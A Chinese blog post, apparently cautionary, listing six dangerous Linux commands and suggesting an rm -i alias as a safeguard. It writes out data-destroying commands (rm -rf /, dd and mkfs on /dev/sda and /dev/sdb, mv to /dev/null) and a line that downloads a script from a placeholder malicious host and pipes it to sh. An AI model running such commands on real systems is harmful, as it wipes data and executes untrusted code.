Linux操作系统上要慎用的6个命令及防范方法

  基于Linux平台工作的童鞋都知道Linux命令行使用起来非常高效和快捷,但有时候也很危险,尤其是在你不确定你自己在正在做什么时候(别笑,别以为自己真的知道自己想干啥)。各大互联网公司因为在后台执行命令不慎导致数据库被删除和服务宕机的事情屡见不鲜,本文就给大家介绍一下Linux下比较危险的命令,引以为戒,在使用的时候一定要万分小心!

  rm -rf命令

  把这个命令放到第一个,是因为它有不少故事,你懂的。rm -rf命令是删除整个文件夹最快的方式之一。它可以删除允许范围内的任何文件和文件夹,稍有不慎就可能导致不可恢复的系统崩溃。这里面涉及2个选项,都是非常方便,但又非常恐怖的。

  -r 该选项使得rm命令递归的删除文件夹,甚至是空的文件夹。

  -f 该选项使得rm命令能不经过询问直接删除‘只读文件’。

  rm -rf / :强制删除根目录下所有东东。

  rm -rf *: 强制删除当前目录的所有文件。

  rm -rf . :强制删除当前文件夹及其子文件夹。

  这些命令都是非常强悍的,因此在使用的时候一定要万分的消息。另外,在使用rm命令且带有rf选项时一定要慎用正则表达式,稍有错误就造成不可挽回的所示。

  mv 文件夹 /dev/null

  mv命令其实跟rm命令有着相同的危险程度。这个命令会移动某个‘文件夹‘到/dev/null。在Linux中/dev/null或null设备是一个特殊的文件,所有写入它的数据都会被丢弃,然后返回写操作成功。

  # mv /mnt/data/* /dev/null

  上列命令会将data目录所有内容移动到/dev/null,这意味着所有东西都被‘卷入’黑洞 (null)之中。

  命令 > /dev/sda

  标题命令会将某个‘命令‘的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。

  mkfs.ext3 /dev/sda

  与上一个命令一样,这个命令会格式化块设备‘sda’,你无疑知道在执行上列命令后你的块设备(硬盘驱动器)会被格式化,崭新的,没有任何数据,直接让你的系统达到不可恢复的阶段。当然,该命令在执行的时候回检查磁盘是否已经格式化,但不能保证那个愣头愣脑的兄弟强制执行。这里只是个例子,除了ext3,任何格式化的命令在使用的时候都要小心,小心,小心!

  dd if=/dev/random of=/dev/sdb

  dd命令也是一个比较危险的命令,如标题命令令会向块设备sdb写入随机的垃圾文件从而擦除该磁盘上的数据。如果该盘是数据盘,将会导致磁盘文件系统的损坏,进而丢失上面所有数据;如果是系统盘将直接导致系统陷入混乱和不可恢复的状态。

  wget http://malicious_source -O- | sh

  标题命令会从一个网站下载一个脚本并执行,有时候你并不知道这个脚本真的在做什么(这就是开头说的有时候你不确定你要做什么)。wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。如果这个脚本是恶意程序,则会产生不可预料的后果。

  你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。

  危险命令的防范

  我们没法保证任何人都了解这些命令的危险性,因此做到未雨绸缪很重要。以rm命令为例,我们可以通过别名的方式避免登录本无服务器的任何人误用。具体方法是在“.bashrc”文件对‘rm’命令创建rm -i的别名,来预防用‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。具体如图2所示,这样在该服务器上执行rm 其实是执行rm -i。

  图2 设置命令的别名

  最后嘱咐大家,一定要慎用这些命令,有其在生产环境。

Linux操作系统上要慎用的6个命令及防范方法的更多相关文章

  1. 如何将.Net Core应用程序部署在Linux操作系统上运行

    .Net Core简介 跨平台: 可以在 Windows.macOS 和 Linux 操作系统上运行. 跨体系结构保持一致: 在多个体系结构(包括 x64.x86 和 ARM)上以相同的行为运行代码. ...

  2. linux服务器上nginx日志访问量统计命令

    linux服务器上nginx日志访问量统计命令 日志文件所在地方:/var/log/nginx/access_iqueendress.com.log/var/log/nginx/access_m.iq ...

  3. 通过轻量级终端工具Tera Term远程向linux操作系统上传war文件

    通过轻量级终端工具Tera Term远程向linux操作系统上传war文件 1.打开Tera Term终端工具,并输入正确的远程机器的IP地址以及端口号: 2.输入正确的用户名和密码进入到linux操 ...

  4. Hadoop Shell命令(基于linux操作系统上传下载文件到hdfs文件系统基本命令学习)

    Apache-->hadoop的官网文档命令学习:http://hadoop.apache.org/docs/r1.0.4/cn/hdfs_shell.html FS Shell 调用文件系统( ...

  5. 【Linux 操作系统】Ubuntu 基础操作 基础命令 热键 man手册使用 关机 重启等命令使用

    . : 关机, 如果将Linux默认运行等级设置为0, 系统将无法启动; -- : 多用户模式, 允许使用网络文件系统, 一般不使用图形界面登陆就是这种模式; -- : 多用户图形界面模式, 该模式下 ...

  6. [教程]K8Cscan调用外部程序(Win/Linux批量上控/执行多条命令/保存结果)

    0x000 调用原理 Cscan调用外部程序有两种方式,一是编写DLL,二是配置文件 编写DLL文件对于不懂编程的人来说可能会很难(虽然支持各语言) 由于考虑到很多人不会编程或会编程又急用无法短时间转 ...

  7. 在linux操作系统上进行简单的C语言源码的gcc编译实验

    尝试在linux上用gcc 而非封装完好的codeblocks,vs等ide 来编译c和cpp源程序 首先查看我的gcc版本,我的是VM centos 自带的,没有的话得自行安装,安装上gcc就可以在 ...

  8. 在Mac/Linux/Windows上编译corefx遇到的问题及解决方法

    这两天尝试在Mac/Linux/Windows三大平台上编译.NET跨平台三驾马车(coreclr/corefx/dnx)之一的corefx(.NET Core Framework),结果三个平台的编 ...

  9. Linux操作系统上用数据泵导库

    1.在Linux上 创建物理目录dp_dir,存放数据库.dmp文件: 用root用户登录,切换到oracle用户,用oralce身份创建物理目录如下: [root@server36 oracle]# ...

随机推荐

  1. node 调试相关

    #0 node 正确的书写方式 为了防止后面出现混乱的各种书写,先来了解一下如何正确书写 node 的名称. 下面使用来自@bitandbang 推文中的图片展示如何正确书写 node 名称. nod ...

  2. docker-swarm相关命令和注意事项

    在k8s出现之后,docker-swarm使用的人越来越少,但在本地集成开发环境的搭建上,使用它还是比较轻量级的,它比docker-compose最大的好处就是容器之间的共享和服务的治理,你不需要li ...

  3. 基于hashicorp/raft的分布式一致性实战教学

    本文由云+社区发表 作者:Super 导语:hashicorp/raft是raft算法的一种比较流行的golang实现,基于它能够比较方便的构建具有强一致性的分布式系统.本文通过实现一个简单的分布式缓 ...

  4. [十三]JavaIO之PushBackInputStream

    功能简介 PushBackInputStream是针对于输入的一种扩展功能 装饰器模式中的具体的装饰类,抽象的装饰器为FilterInputStream PushBackInputStream的重点在 ...

  5. iOS 加锁的方式

    iOS多线程编程中,经常碰到多个线程访问共同的一个资源,在线程相互交互的情况下,需要一些同步措施,来保证线程之间交互的时候是安全的.下面我们一起看一下学一下iOS的几种常用的加锁方式,希望对大家有所帮 ...

  6. MySQL递归查询_函数语法检查_GROUP_CONCAT组合结果集的使用

    1-前言: 在Mysql使用递归查询是很不方便的,不像Sqlserver可以直接使用声明变量,使用虚拟表等等.如:DECLARE,BEGIN ...  END   ,WHILE ,IF 等等. 在My ...

  7. 解决ajax跨域问题

    JQuery ajax支持get方式的跨域,采用了jsonp来完成.完成跨域请求的有两种方式实现.一种是使用Jquery ajax最底层的Api实现跨域的请求,而另一种则是JQuery ajax的高级 ...

  8. [Linux] 取两个文件的并集/交集/差集

    uniq -d是只打印重复行 -u是只打印独一无二的行文件A : abcd文件B: cdef取并集:A + B sort A B|uniq 取交集: sort A B|uniq -d 取差集:A - ...

  9. 2019/1.6 Javascript Cookie

    cookie 就是一个1存放数据的东西,存储量很小(只有4KB),存放在客户端和应用设备上. 应用场景 用户注册,用户登录,购物车 chrome浏览器计算机存放cookie的位置 C:\Users\A ...

  10. python运行逻辑

    Python程序在解释器上执行分两个过程: 编译:如果Python进程在机器上拥有写入权限,那么它会把程序的字节码保存为一个以 .pyc 为扩展名的文件.当程序运行后,会在源代码的同一个目录下看到 . ...